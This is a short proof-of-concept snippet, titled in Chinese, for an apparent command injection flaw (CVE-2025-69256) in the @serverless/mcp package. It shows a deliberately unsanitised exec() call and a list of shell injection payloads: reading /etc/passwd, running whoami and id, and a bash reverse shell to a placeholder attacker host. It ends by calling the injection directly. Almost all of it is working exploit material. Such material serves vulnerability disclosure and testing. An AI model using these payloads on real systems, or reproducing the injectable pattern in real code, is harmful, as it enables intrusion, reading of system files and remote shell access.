CVE-2025-69256 Serverless Framework MCP服务器命令注入漏洞

// CVE-2025-69256 PoC - Command Injection in @serverless/mcp // This PoC demonstrates how shell metacharacters can be injected const { exec } = require('child_process'); // Vulnerable code pattern (simplified from list-projects.js) function vulnerableFunction(userInput) { // Direct injection into shell command without sanitization const command = `some-command ${userInput}`; exec(command, (error, stdout, stderr) => { console.log(stdout); }); } // PoC payloads: // 1. Basic command injection: // userInput = 'test; cat /etc/passwd' // 2. Using pipe operator: // userInput = 'test | whoami' // 3. Using AND operator: // userInput = 'test && id' // 4. Reverse shell attempt: // userInput = 'test; bash -i >& /dev/tcp/attacker/port 0>&1' // Example exploitation: vulnerableFunction('test; cat /etc/passwd');